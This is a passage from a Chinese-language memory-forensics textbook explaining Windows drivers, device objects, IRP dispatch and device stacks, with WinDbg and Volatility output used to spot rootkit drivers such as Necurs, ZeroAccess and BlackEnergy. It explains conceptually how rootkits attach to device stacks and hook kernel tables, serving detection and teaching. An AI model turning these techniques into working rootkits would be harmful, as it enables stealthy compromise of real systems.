0x00000000108b9870 0x88150000 0x8000  RDPREFMP  RDPREFMP \Driver\RDPREFMP
0x0000000010b3b1d0 0x96ef6000 0x41000 rdbss     rdbss    \FileSystem\rdbss
0x0000000011781188 0x88171000 0x17000 tdx       tdx      \Driver\tdx
0x0000000011ff6a00 0x881ed000 0xd000  kbdclass  kbdclass \Driver\kbdclass
0x0000000011ff6ba0 0x880f2000 0x7000  Beep      Beep     \Driver\Beep
[REMOVED]
0x000000001e155668 0x851ab000 0xd000 2683608180e436a1 26836...36a1 \Driver\2683608180e436a1

要使用内核调试器(Windbg)列出内核模块,使用lm k命令,如下所示。要获取详细输出,可以使用lm kv命令:

kd> lm k
start end module name
80bb4000 80bbc000 kdcom (deferred) 
82a03000 82a3a000 hal (deferred) 
82a3a000 82e56000 nt (pdb symbols)
8b200000 8b20e000 WDFLDR (deferred) 
8b20e000 8b22a800 vmhgfs (deferred) 
8b22b000 8b2b0000 mcupdate_GenuineIntel (deferred) 
8b2b0000 8b2c1000 PSHED (deferred) 
8b2c1000 8b2c9000 BOOTVID (deferred) 
8b2c9000 8b30b000 CLFS (deferred) 
[REMOVED]

一旦你识别出恶意内核模块,你可以使用moddump插件将其从内存转储到磁盘。要将模块转储到磁盘,你需要指定模块的基地址,可以通过modulesmodscandriverscan插件获取。以下示例中,Necurs rootkit的恶意驱动程序通过其基地址转储到磁盘,如下所示:

$ python vol.py -f necurs.vmem --profile=Win7SP1x86 moddump -b 0x851ab000 -D dump/
Volatility Foundation Volatility Framework 2.6
Module Base   Module Name      Result
-----------  --------------    ------
0x0851ab000    UNKNOWN         OK: driver.851ab000.sys

6. I/O 处理

在讨论driverscan插件时,我曾提到driverscanDRIVER_OBJECT结构中获取模块信息。你是不是在想DRIVER_OBJECT结构是什么?这个问题很快就会清楚。在本节中,你将理解用户模式与内核模式组件之间的交互、设备驱动程序的作用以及它与 I/O 管理器的交互。通常,rootkit 包括一个用户模式组件(EXE 或 DLL)和一个内核模式组件(设备驱动程序)。rootkit 的用户模式组件通过特定机制与内核模式组件进行通信。从取证角度来看,理解这些通信是如何工作的以及涉及的组件非常重要。本节将帮助你理解这种通信机制,并为接下来的主题打下基础。

让我们尝试理解当用户模式应用程序执行输入/输出(I/O)操作时发生了什么,以及它在高层次上是如何处理的。在讨论第八章中的 API 调用流程时,代码注入与钩取(在Windows API 调用流程部分),我用一个用户模式应用程序通过WriteFile() API 执行写操作的例子,这最终会调用内核执行中的NtWriteFile()系统服务例程(ntoskrnl.exe),然后将请求指引给 I/O 管理器,接着 I/O 管理器请求设备驱动程序执行 I/O 操作。在这里,我将再次回顾这个话题,提供更多细节,并重点强调内核空间组件(主要是设备驱动程序和 I/O 管理器)。以下图示说明了写请求的流程(其他类型的 I/O 请求,如读取,也类似;它们只使用不同的 API):

以下几点讨论了设备驱动程序和 I/O 管理器在高层次的作用:

  1. 设备驱动程序通常会创建一个或多个设备,并指定它可以处理的操作类型(打开、读取和写入)。它还指定了处理这些操作的例程地址。这些例程被称为分发例程或 IRP 处理程序。

  2. 创建设备后,驱动程序会发布该设备,以便用户模式应用程序可以访问。

  3. 用户模式的应用程序可以使用 API 调用,如CreateFile,打开已公开的设备句柄,并使用ReadFileWriteFile API 在设备上执行 I/O 操作,如读取和写入。用于执行文件 I/O 操作的 API,如CreateFileReadWriteWriteFile,也适用于设备。这是因为设备被视为虚拟文件。

  4. 当用户模式应用程序在广告设备上执行 I/O 操作时,请求将被路由到 I/O 管理器。 I/O 管理器确定处理设备的驱动程序,并请求驱动程序通过传递 IRP(I/O 请求数据包)来完成操作。 IRP 是一个包含执行操作和 I/O 操作所需缓冲区信息的数据结构。

驱动程序读取 IRP,验证它,并在通知 I/O 管理器有关操作状态之前完成请求的操作。 然后,I/O 管理器将状态和数据返回给用户应用程序。

在这个阶段,前面的内容可能对您来说很陌生,但不要让它让您灰心:当您完成本节时,一切将变得清晰。 接下来,我们将看一下设备驱动程序的作用,然后是 I/O 管理器的作用。

6.1 设备驱动程序的作用

当驱动程序加载到系统中时,I/O 管理器会创建一个驱动程序对象(DRIVER_OBJECT结构)。 然后,I/O 管理器通过将指向DRIVER_OBJECT结构的指针作为参数调用驱动程序的初始化例程DriverEntry(类似于main()WinMain()函数)。 驱动程序对象(DRIVER_OBJECT结构)代表系统上的一个驱动程序。 DriverEntry例程将使用DRIVER_OBJECT来填充具有处理特定 I/O 请求的驱动程序各种入口点的结构。 通常,在DriverEntry例程中,驱动程序会使用一个名为IoCreateDeviceIoCreateDevice-Secure的 API 创建代表逻辑或物理设备的设备对象(DEVICE_OBJECT结构)。 当驱动程序创建设备对象时,可以选择为设备分配名称,也可以创建多个设备。 创建设备后,将更新指向第一个创建的设备的指针在驱动程序对象中。 为了帮助您更好地理解这一点,让我们列出加载的内核模块,并查看一个简单内核模块的驱动程序对象。 作为示例,我们将检查null.sys内核驱动程序。 根据微软文档,Null 设备驱动程序提供了 Unix 环境中\dev\null的功能等效物。 当系统在内核初始化阶段启动时,null.sys被加载到系统中。 在内核模块列表中,您可以看到null.sys加载在基地址8bcde000处:

kd> lm k
start end module name
80ba2000 80baa000 kdcom (deferred) 
81e29000 81e44000 luafv (deferred) 
[REMOVED]
8bcde000 8bce5000 Null (deferred)

由于null.sys已经加载,在驱动程序初始化过程中,它的驱动对象(DRIVER_OBJECT结构)将会填充元数据。在驱动程序对象中查看它包含什么信息。你可以使用!drvobj扩展命令显示驱动程序对象信息。从以下输出可以看到,表示null.sys的驱动对象位于地址86a33180Device Object list下的86aa2750是指向由null.sys创建的设备对象的指针。如果驱动程序创建了多个设备,你将会在Device Object list下看到多个条目:

kd> !drvobj Null
Driver object (86a33180) is for:
 \Driver\Null
Driver Extension List: (id , addr)

Device Object list:
86aa2750

你可以使用驱动程序对象地址86a33180来通过dt (display type)命令检查null.sys_DRIVER_OBJECT结构。从以下输出可以看到,DriverStart字段包含驱动程序的基地址(0x8bcde000),DriverSize字段包含driver(0x7000)的大小,Drivername是驱动对象的名称(\Driver\Null)。DriverInit字段保存指向驱动初始化例程DriverEntry)的指针。DriverUnload字段包含指向驱动程序卸载例程的指针,该例程通常会在卸载过程中释放驱动程序创建的资源。MajorFunction字段是最重要的字段之一,它指向一个包含 28 个主要功能指针的表。这个表将会填充调度例程的地址,我们将在本节稍后查看MajorFunction表。前面讲到的driverscan插件会对驱动程序对象执行池标签扫描,并通过读取这些字段中的某些信息获取与内核模块相关的信息,如基地址、大小和驱动程序名称:

kd> dt nt!_DRIVER_OBJECT 86a33180
   +0x000 Type : 0n4
   +0x002 Size : 0n168
   +0x004 DeviceObject : 0x86aa2750 _DEVICE_OBJECT
   +0x008 Flags : 0x12
   +0x00c DriverStart : 0x8bcde000 Void
   +0x010 DriverSize : 0x7000
   +0x014 DriverSection : 0x86aa2608 Void
   +0x018 DriverExtension : 0x86a33228 _DRIVER_EXTENSION
   +0x01c DriverName : _UNICODE_STRING "\Driver\Null"
   +0x024 HardwareDatabase : 0x82d86270 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
   +0x028 FastIoDispatch : 0x8bce0000 _FAST_IO_DISPATCH
   +0x02c DriverInit : 0x8bce20bc long Null!GsDriverEntry+0
   +0x030 DriverStartIo : (null) 
   +0x034 DriverUnload : 0x8bce1040 void Null!NlsUnload+0
   +0x038 MajorFunction : [28] 0x8bce107c

DRIVER_OBJECT结构中的DeviceObject字段包含指向驱动程序(null.sys)创建的设备对象的指针。你可以使用设备对象地址0x86aa2750来确定驱动程序创建的设备的名称。在本例中,Null是由驱动程序null.sys创建的设备名称:

kd> !devobj 86aa2750
Device object (86aa2750) is for:
 Null \Driver\Null DriverObject 86a33180
Current Irp 00000000 RefCount 0 Type 00000015 Flags 00000040
Dacl 8c667558 DevExt 00000000 DevObjExt 86aa2808 
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0x00000100) FILE_DEVICE_SECURE_OPEN
Device queue is not busy.

你也可以通过在display type (dt)命令后面指定设备对象地址来查看实际的DEVICE_OBJECT结构,如下所示的代码。如果驱动程序创建了多个设备,那么DEVICE_OBJECT结构中的NextDevice字段将指向下一个设备对象。由于null.sys驱动程序只创建了一个设备,NextDevice字段被设置为null

kd> dt nt!_DEVICE_OBJECT 86aa2750
   +0x000 Type : 0n3
   +0x002 Size : 0xb8
   +0x004 ReferenceCount : 0n0
   +0x008 DriverObject : 0x86a33180 _DRIVER_OBJECT
   +0x00c NextDevice : (null) 
   +0x010 AttachedDevice : (null) 
   +0x014 CurrentIrp : (null) 
   +0x018 Timer : (null) 
   +0x01c Flags : 0x40
   +0x020 Characteristics : 0x100
   +0x024 Vpb : (null) 
   +0x028 DeviceExtension : (null) 
   +0x02c DeviceType : 0x15
   +0x030 StackSize : 1 ''
   [REMOVED]

从上面的输出可以看到,DEVICE_OBJECT包含一个DriverObject字段,它指向回驱动程序对象。换句话说,可以通过设备对象确定相关联的驱动程序。这就是 I/O 管理器如何在收到特定设备的 I/O 请求时,确定关联的驱动程序的方式。这个概念可以通过以下图示来可视化:

你可以使用像 DeviceTree (www.osronline.com/article.cfm?article=97) 这样的图形界面工具来查看驱动程序创建的设备。以下是该工具显示 null.sys 驱动程序创建的 Null 设备的截图:

当驱动程序创建一个设备时,设备对象会被放置在 Windows 对象管理器的命名空间中的 \Device 目录下。要查看对象管理器的命名空间信息,可以使用 WinObj 工具 (docs.microsoft.com/en-us/sysinternals/downloads/winobj)。以下截图显示了由 null.sys\Device 目录下创建的设备(Null)。你还可以看到其他驱动程序创建的设备:

创建在 \Device 目录下的设备对于用户模式下运行的应用程序是不可访问的。换句话说,如果一个用户模式应用程序想要对设备执行 I/O 操作,它不能通过将设备名称(如 \Device\Null)作为参数传递给 CreateFile 函数来直接打开设备句柄。CreateFile 函数不仅用于创建或打开文件,还可以用于打开设备句柄。如果用户模式应用程序无法访问设备,那它如何执行 I/O 操作呢?为了使设备对用户模式应用程序可访问,驱动程序需要宣传该设备。这可以通过为设备创建一个符号链接来实现。驱动程序可以使用内核 API IoCreateSymbolicLink 来创建符号链接。当为设备(如 \Device\Null)创建符号链接时,你可以在对象管理器命名空间中的 \GLOBAL?? 目录下找到它,也可以使用 WinObj 工具查看。以下截图中,你可以看到 NUL 是由 null.sys 驱动程序为 \Device\Null 设备创建的符号链接名称:

符号链接也被称为 MS-DOS 设备名称。用户模式应用程序可以直接使用符号链接的名称(MS-DOS 设备名称)来通过约定 \\.\<symboliclink name> 打开设备的句柄。例如,要打开 \Device\Null 的句柄,用户模式应用程序只需将 \\.\NUL 作为第一个参数(lpFilename)传递给 CreateFile 函数,该函数会返回设备的文件句柄。具体来说,在对象管理器的 GLOBAL?? 目录下的任何符号链接都可以通过 CreateFile 函数打开。如下面的截图所示,C: 盘符仅仅是 \Device\HarddiskVolume1 的符号链接。在 Windows 中,I/O 操作是在虚拟文件上执行的。换句话说,设备、目录、管道和文件都被视为虚拟文件(可以通过 CreateFile 函数打开):

此时,你已经知道驱动程序在初始化过程中会创建设备,并通过符号链接向用户应用程序宣传它。现在,问题是,驱动程序如何告诉 I/O 管理器它支持哪些类型的操作(如打开、读取、写入等)?在初始化过程中,驱动程序通常会做的另一件事是更新Major function table(分派例程数组),并将分派例程的地址填充到DRIVER_OBJECT结构中。检查主要功能表将帮助你了解驱动程序支持哪些操作(如打开、读取、写入等)以及与特定操作相关的分派例程地址。主要功能表是一个包含28个函数指针的数组;索引值027表示特定操作。例如,索引值0对应于主要功能代码IRP_MJ_CREATE,索引值3对应于主要功能代码IRP_MJ_READ,依此类推。换句话说,如果应用程序想要打开文件或设备对象的句柄,请求将被发送给 I/O 管理器,然后 I/O 管理器使用IRP_MJ_CREATE主要功能代码作为索引查找主要功能表中的分派例程地址,来处理该请求。对于读取操作,也是同样的方式,使用IRP_MJ_READ作为索引来确定分派例程的地址。

以下!drvobj命令显示由null.sys驱动程序填充的分派例程数组。对于驱动程序不支持的操作,会指向ntoskrnl.exent)中的IopInvalidDeviceRequest。根据这些信息,你可以知道null.sys仅支持IRP_MJ_CREATE(打开)、IRP_MJ_CLOSE(关闭)、IRP_MJ_READ(读取)、IRP_MJ_WRITE(写入)、IRP_MJ_QUERY_INFORMATION(查询信息)和IRP_MJ_LOCK_CONTROL(锁控制)操作。任何请求执行这些支持的操作将会被分派到适当的分派例程。例如,当用户应用程序执行write操作时,写入设备的请求会被分派到null.sys驱动程序卸载例程中的MajorFunction[IRP_MJ_WRITE]函数,该函数位于地址8bce107c。在null.sys的情况下,所有支持的操作都被分派到相同的地址8bce107c。通常情况下,情况并非如此;你会看到处理不同操作的不同例程地址:

kd> !drvobj Null 2
Driver object (86a33180) is for:
 \Driver\Null
DriverEntry: 8bce20bc Null!GsDriverEntry
DriverStartIo: 00000000 
DriverUnload: 8bce1040 Null!NlsUnload
AddDevice: 00000000 

Dispatch routines:
[00] IRP_MJ_CREATE                   8bce107c Null!NlsUnload+0x3c
[01] IRP_MJ_CREATE_NAMED_PIPE        82ac5fbe nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                    8bce107c Null!NlsUnload+0x3c
[03] IRP_MJ_READ                     8bce107c Null!NlsUnload+0x3c
[04] IRP_MJ_WRITE                    8bce107c Null!NlsUnload+0x3c
[05] IRP_MJ_QUERY_INFORMATION        8bce107c Null!NlsUnload+0x3c
[06] IRP_MJ_SET_INFORMATION          82ac5fbe nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                 82ac5fbe nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                   82ac5fbe nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS            82ac5fbe nt!IopInvalidDeviceRequest
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION 82ac5fbe nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION   82ac5fbe nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL        82ac5fbe nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL      82ac5fbe nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL           82ac5fbe nt!IopInvalidDeviceRequest
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL  82ac5fbe nt!IopInvalidDeviceRequest
[10] IRP_MJ_SHUTDOWN                 82ac5fbe nt!IopInvalidDeviceRequest
[11] IRP_MJ_LOCK_CONTROL             8bce107c Null!NlsUnload+0x3c
[12] IRP_MJ_CLEANUP                  82ac5fbe nt!IopInvalidDeviceRequest
[13] IRP_MJ_CREATE_MAILSLOT          82ac5fbe nt!IopInvalidDeviceRequest
[14] IRP_MJ_QUERY_SECURITY           82ac5fbe nt!IopInvalidDeviceRequest
[15] IRP_MJ_SET_SECURITY             82ac5fbe nt!IopInvalidDeviceRequest
[16] IRP_MJ_POWER                    82ac5fbe nt!IopInvalidDeviceRequest
[17] IRP_MJ_SYSTEM_CONTROL           82ac5fbe nt!IopInvalidDeviceRequest
[18] IRP_MJ_DEVICE_CHANGE            82ac5fbe nt!IopInvalidDeviceRequest
[19] IRP_MJ_QUERY_QUOTA              82ac5fbe nt!IopInvalidDeviceRequest
[1a] IRP_MJ_SET_QUOTA                82ac5fbe nt!IopInvalidDeviceRequest
[1b] IRP_MJ_PNP                      82ac5fbe nt!IopInvalidDeviceRequest 

你也可以在DeviceTree工具中查看支持的操作,如以下截图所示:

到此为止,你已经知道驱动程序创建设备,将其广告宣传以供用户应用程序使用,并且还更新了调度例程数组(主要功能表),告知 I/O 管理器它支持的操作。现在,让我们来看一下 I/O 管理器的作用,并了解从用户应用程序接收到的 I/O 请求是如何调度到驱动程序的。

6.2 I/O 管理器的作用

当 I/O 请求到达 I/O 管理器时,I/O 管理器定位驱动程序并创建一个 IRP(I/O 请求包),它是一个包含描述 I/O 请求信息的数据结构。对于读取、写入等操作,I/O 管理器创建的 IRP 还包含一个内核内存中的缓冲区,用于驱动程序存储从设备读取的数据或写入设备的数据。I/O 管理器创建的 IRP 随后传递给正确的驱动程序调度例程。驱动程序接收 IRP,IRP 中包含描述要执行的操作(如打开、读取或写入)的主要功能代码(IRP_MJ_XXX)。在启动 I/O 操作之前,驱动程序会进行检查,以确保一切正常(例如,提供的读取或写入操作的缓冲区足够大),然后启动 I/O 操作。如果需要对硬件设备执行 I/O 操作,驱动程序通常会经过 HAL 例程。工作完成后,驱动程序将 IRP 返回给 I/O 管理器,告诉它请求的 I/O 操作已完成,或者因为 IRP 必须传递给驱动程序堆栈中的另一个驱动程序进行进一步处理。I/O 管理器在任务完成时释放 IRP,或者将 IRP 传递给设备堆栈中的下一个驱动程序以完成 IRP。任务完成后,I/O 管理器将状态和数据返回给用户模式应用程序。

到此为止,你应该已经理解了 I/O 管理器的作用。有关 I/O 系统和设备驱动程序的详细信息,请参考 Pavel Yosifovich、Alex Ionescu、Mark E. Russinovich 和 David A. Solomon 所著的《Windows Internals, Part 1: 第七版》一书。

6.3 与设备驱动程序的通信

现在,让我们重新审视用户模式组件和内核模式组件之间的交互。我们将回到 null.sys 驱动程序的例子,并从用户模式触发一个写入操作到它的设备(\Device\Null),并监控发送到 null.sys 驱动程序的 IRP。为了监控发送到驱动程序的 IRP 包,我们可以使用 IrpTracker 工具(www.osronline.com/article.cfm?article=199)。要启动 IrpTracker,请以管理员身份启动,点击文件 | 选择驱动程序,输入驱动程序的名称(在此例中为 null),如以下截图所示,然后点击确认按钮:

现在,要触发 I/O 操作,你可以打开命令提示符并输入以下命令。这将把字符串 "hello" 写入空设备。正如之前提到的,符号链接名称是用户模式应用程序(如 cmd.exe)可以使用的;这就是我指定设备符号链接名称(NUL)来写入内容的原因:

C:\>echo "hello" > NUL

设备被视为虚拟文件,在写入设备之前,会通过 CreateFile() 打开设备的句柄(CreateFile() 是一个用于创建/打开文件或设备的 API)。CreateFile() API 最终会调用 ntoskrnl.exe 中的 NtCreateFile(),该函数将请求发送给 I/O 管理器。I/O 管理器根据符号链接名称查找与设备关联的驱动程序,并调用其与 IRP_MJ_CREATE 主功能代码对应的分派例程。在设备的句柄被打开后,写入操作将使用 WriteFile() 执行,该操作将调用 NtWriteFile。该请求将被 I/O 管理器分派到与 IRP_MJ_WRITE 主功能代码对应的驱动程序例程。以下截图显示了与 IRP_MJ_CREATEIRP_MJ_WRITE 对应的驱动程序分派例程调用及其完成状态:

在这一点上,你应该已经理解了执行 I/O 操作的用户模式代码如何与内核模式驱动程序进行通信。Windows 还支持另一种机制,允许用户模式代码直接与内核模式设备驱动程序通信。这是通过使用通用 API DeviceIoControl(由kernel32.dll导出)来完成的。该 API 接受设备的句柄作为其中一个参数。它接受的另一个参数是控制代码,称为IOCTL(I/O 控制)代码,它是一个 32 位的整数值。每个控制代码标识一个要执行的特定操作以及在哪个设备上执行该操作。用户模式应用程序可以打开设备句柄(使用CreateFile),调用DeviceIoControl,并传递 Windows 操作系统提供的标准控制代码来直接对设备执行输入输出操作,例如硬盘驱动器、磁带驱动器或 CD-ROM 驱动器。此外,设备驱动程序(例如 rootkit 驱动程序)可以定义自己的设备特定控制代码,用户模式的 rootkit 组件可以通过DeviceIoControl API 与驱动程序进行通信。当用户模式组件通过传递IOCTL代码调用DeviceIoControl时,它会调用ntdll.dll中的NtDeviceIoControlFile,该函数将线程切换到内核模式,并调用 Windows 执行系统ntoskrnl.exe中的系统服务例程NtDeviceIoControlFile。Windows 执行系统调用 I/O 管理器,I/O 管理器构建包含 IOCTL 代码的 IRP 数据包,然后将其路由到由IRP_MJ_DEVICE_CONTROL标识的内核调度例程。以下图示展示了用户模式代码与内核模式驱动程序之间的通信概念:

6.4 I/O 请求到分层驱动程序

到目前为止,你已经理解了如何通过一个由单一驱动程序控制的简单设备来处理 I/O 请求;I/O 请求可以经过多个驱动程序层次;这些层次的 I/O 处理方式基本相同。以下截图展示了 I/O 请求如何在达到硬件设备之前通过多个驱动程序层的一个例子:

这个概念通过一个例子来更好地理解,因此我们通过以下命令触发对c:\abc.txt的写操作。当该命令执行时,netstat将打开abc.txt的句柄并写入其中:

C:\Windows\system32>netstat -an -t 60 > C:\abc.txt

这里需要注意的一点是,文件名C:\abc.txt也包含了文件所在设备的名称,即,C:驱动器是设备\Device\HarddiskVolume1的符号链接名称(你可以使用之前提到的WinObj工具进行验证)。这意味着写操作将被路由到与设备\Device\HarddiskVolume1相关联的驱动程序。当netstat.exe打开abc.txt时,I/O 管理器创建一个文件对象(FILE_OBJECT结构)并在文件对象中存储指向设备对象的指针,然后将句柄返回给netstat.exe.。以下是来自ProcessHacker工具的截图,显示了已由netstat.exe.打开的C:\abc.txt句柄。对象地址0x85f78ce8代表文件对象:

你可以通过以下方式使用对象地址检查文件对象(FILE_OBJECT)。从输出中,你可以看到FileName字段包含了文件的名称,而DeviceObject字段包含了指向设备对象(DEVICE_OBJECT)的指针:

kd> dt nt!_FILE_OBJECT 0x85f78ce8
   +0x000 Type : 0n5
   +0x002 Size : 0n128
   +0x004 DeviceObject : 0x868e7e20 _DEVICE_OBJECT
   +0x008 Vpb : 0x8688b658 _VPB
   +0x00c FsContext : 0xa74fecf0 Void
   [REMOVED]
   +0x030 FileName : _UNICODE_STRING "\abc.txt"
   +0x038 CurrentByteOffset : _LARGE_INTEGER 0xe000

如前所述,通过设备对象,可以确定设备的名称和相关的驱动程序。这是 I/O 管理器决定将 I/O 请求传递给哪个驱动程序的方式。以下输出显示了设备的名称HarddiskVolume1及其相关的驱动程序volmgr.sys.AttachedDevice字段告诉你,fvevol.sys驱动程序下有一个没有命名的设备对象(868e7b28),它位于设备对象HarddiskVolume1之上,在设备栈中:

kd> !devobj 0x868e7e20
Device object (868e7e20) is for:
 HarddiskVolume1 \Driver\volmgr DriverObject 862e0bd8
Current Irp 00000000 RefCount 13540 Type 00000007 Flags 00201150
Vpb 8688b658 Dacl 8c7b3874 DevExt 868e7ed8 DevObjExt 868e7fc0 Dope 86928870 DevNode 86928968 
ExtensionFlags (0x00000800) DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000) 
AttachedDevice (Upper) 868e7b28 \Driver\fvevol
Device queue is not busy.

要确定 I/O 请求经过的驱动程序层级,你可以使用!devstack内核调试命令并传递设备对象地址,以显示与特定设备对象相关的设备栈(分层设备对象)。以下输出显示了与\Device\HarddiskVolume1相关的设备栈,该设备由volmgr.sys.拥有。第四列中的>字符表示该条目与设备HarddiskVolume1相关,且该行之上的条目是位于volmgr.sys.之上的驱动程序列表。这意味着 I/O 请求将首先传递给volsnap.sys,根据请求的类型,volsnap.sys可以处理 IRP 请求并将请求传递给栈中的其他驱动程序,最终到达volmgr.sys

kd> !devstack 0x868e7e20
  !DevObj !DrvObj !DevExt ObjectName
  85707658 \Driver\volsnap 85707710 
  868e78c0 \Driver\rdyboost 868e7978 
  868e7b28 \Driver\fvevol 868e7be0 
> 868e7e20 \Driver\volmgr 868e7ed8 HarddiskVolume1

要查看设备树,你可以使用我们之前提到的 GUI 工具DeviceTree。该工具将驱动程序显示在树的外侧,而它们的设备则缩进一级。附加设备会进一步缩进,如下图所示。你可以将以下截图与之前的!devstack输出进行对比,从而了解如何解读这些信息:

理解这种分层方法很重要,因为有时,rootkit 驱动程序可以插入或附加到目标设备的堆栈上方或下方以接收IRP。通过这种技术,rootkit 驱动程序可以在将IRP传递给合法驱动程序之前,记录或修改IRP。例如,键盘记录器可以通过插入一个恶意驱动程序(该驱动程序位于键盘功能驱动程序上方)来记录按键。

7. 显示设备树

你可以使用 Volatility 中的devicetree插件,以与DeviceTree工具相同的格式显示设备树。以下高亮的条目显示了与volmgr.sys相关联的HarddiskVolume1设备堆栈:

$ python vol.py -f win7_x86.vmem --profile=Win7SP1x86 devicetree

DRV 0x05329db8 \Driver\WMIxWDM
---| DEV 0x85729a38 WMIAdminDevice FILE_DEVICE_UNKNOWN
---| DEV 0x85729b60 WMIDataDevice FILE_DEVICE_UNKNOWN
[REMOVED]

DRV 0xbf2e0bd8 \Driver\volmgr
---| DEV 0x868e7e20 HarddiskVolume1 FILE_DEVICE_DISK
------| ATT 0x868e7b28 - \Driver\fvevol FILE_DEVICE_DISK
---------| ATT 0x868e78c0 - \Driver\rdyboost FILE_DEVICE_DISK
------------| ATT 0x85707658 - \Driver\volsnap FILE_DEVICE_DISK
[REMOVED]

为了帮助你理解devicetree插件在取证调查中的使用,下面我们来看一个创建自己设备来存储恶意二进制文件的恶意软件。在接下来的 ZeroAccess rootkit 示例中,我使用了cmdline插件,它显示进程的命令行参数。这对于确定进程的完整路径非常有用(你也可以使用dlllist插件)。从输出中,你可以看到最后一个svchost.exe进程是从一个可疑的命名空间中运行的:

svchost.exe pid: 624
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
svchost.exe pid: 712
Command line : C:\Windows\system32\svchost.exe -k RPCSS
svchost.exe pid: 764
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
svchost.exe pid: 876
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
[REMOVED]

svchost.exe pid: 1096
Command line : "\\.\globalroot\Device\svchost.exe\svchost.exe"

从之前的讨论中,如果你还记得,\\.\<symbolic link name> 是从用户模式使用符号链接名称访问设备的约定。当驱动程序为设备创建符号链接时,它会被添加到\GLOBAL??目录中,该目录位于对象管理器命名空间中(可以使用WinObj工具查看,正如我们之前讨论的)。在这种情况下,globalroot是符号链接的名称。那么,问题是,\\.\globalroot是什么?事实证明,\\.\globalroot指的是\GLOBAL??命名空间。换句话说,\\.\globalroot\Device\svchost.exe\svchost.exe路径与\Device\svchost.exe\svchost.exe路径是相同的。此时,你知道 ZeroAccess rootkit 创建了自己的设备(svchost.exe)来隐藏其恶意二进制文件svchost.exe。要识别创建此设备的驱动程序,你可以使用devicetree插件。从以下输出中,你可以看出svchost.exe设备是由00015300.sys驱动程序创建的:

$ python vol.py -f zaccess1.vmem --profile=Win7SP1x86 devicetree
[REMOVED]
DRV 0x1fc84478 \Driver\00015300
---| DEV 0x84ffbf08 svchost.exe FILE_DEVICE_DISK

在接下来的BlackEnergy恶意软件示例中,它将磁盘上的合法aliide.sys驱动程序替换为恶意驱动程序,以劫持现有服务(如在第十章,使用内存取证猎杀恶意软件部分中所述)。当服务启动时,恶意驱动程序创建一个设备与恶意用户模式组件(注入到合法svchost.exe中的 DLL)进程进行通信。以下devicetree输出显示了恶意驱动程序创建的设备:

$ python vol.py -f be3_big_restart.vmem --profile=Win7SP1x64 devicetree | grep -i aliide -A1
Volatility Foundation Volatility Framework 2.6
DRV 0x1e45fbe0 \Driver\aliide
---| DEV 0xfffffa8008670e40 {C9059FFF-1C49-4445-83E8-4F16387C3800} FILE_DEVICE_UNKNOWN

为了了解恶意驱动程序支持的操作类型,您可以使用 Volatility 的 driverirp 插件,因为它可以显示与特定驱动程序或所有驱动程序相关的主要 IRP 函数。从以下输出中,您可以看出恶意 aliide 驱动程序支持 IRP_MJ_CREATE (打开)IRP_MJ_CLOSE (关闭)IRP_MJ_DEVICE_CONTROL (DeviceIoControl) 操作。驱动程序不支持的操作通常指向 ntoskrnl.exe 中的 IopInvalidDeviceRequest,这也是您看到所有其他不受支持的操作指向 0xfffff80002a5865cntoskrnl.exe 中的原因:

$ python vol.py -f be3_big_restart.vmem --profile=Win7SP1x64 driverirp -r aliide
Volatility Foundation Volatility Framework 2.6
--------------------------------------------------
DriverName: aliide
DriverStart: 0xfffff88003e1d000
DriverSize: 0x14000
DriverStartIo: 0x0
   0 IRP_MJ_CREATE                  0xfffff88003e1e160 aliide.sys
   1 IRP_MJ_CREATE_NAMED_PIPE       0xfffff80002a5865c ntoskrnl.exe
   2 IRP_MJ_CLOSE                   0xfffff88003e1e160 aliide.sys
   3 IRP_MJ_READ                    0xfffff80002a5865c ntoskrnl.exe
   4 IRP_MJ_WRITE                   0xfffff80002a5865c ntoskrnl.exe
  [REMOVED]
  12 IRP_MJ_DIRECTORY_CONTROL       0xfffff80002a5865c ntoskrnl.exe
  13 IRP_MJ_FILE_SYSTEM_CONTROL     0xfffff80002a5865c ntoskrnl.exe
  14 IRP_MJ_DEVICE_CONTROL          0xfffff88003e1e160 aliide.sys
  15 IRP_MJ_INTERNAL_DEVICE_CONTROL 0xfffff80002a5865c ntoskrnl.exe
  [REMOVED]

8. 检测内核空间劫持

在讨论劫持技术时(参见第八章,代码注入与劫持部分),我们看到一些恶意软件通过修改调用表(IAT 劫持)以及一些修改 API 函数(内联劫持)来控制程序的执行路径,并将其重定向到恶意代码。其目标是阻止对 API 的调用,监控传递给 API 的输入参数,或过滤从 API 返回的输出参数。第八章中涉及的代码注入与劫持技术主要集中在用户空间的劫持技术。如果攻击者能够安装一个内核驱动程序,类似的功能也可以在内核空间实现。内核空间中的劫持是一种比用户空间更强大的方法,因为内核组件在整个系统的运作中扮演着非常重要的角色。这使得攻击者能够以高权限执行代码,从而具备隐藏恶意组件、绕过安全软件或拦截执行路径的能力。在本节中,我们将了解内核空间中的不同劫持技术,以及如何使用内存取证来检测这些技术。

8.1 检测 SSDT 劫持

内核空间中的系统服务描述符表SSDT)包含指向由内核执行文件(ntoskrnl.exentkrnlpa.exe等)导出的系统服务例程(内核函数)的指针。当应用程序调用像 WriteFile()ReadFile()CreateProcess() 等 API 时,它会调用 ntdll.dll 中的存根,从而将线程切换到内核模式。运行在内核模式中的线程会查询SSDT以确定要调用的内核函数的地址。下图通过 WriteFile() 示例展示了这一概念(对于其他 API,概念类似):

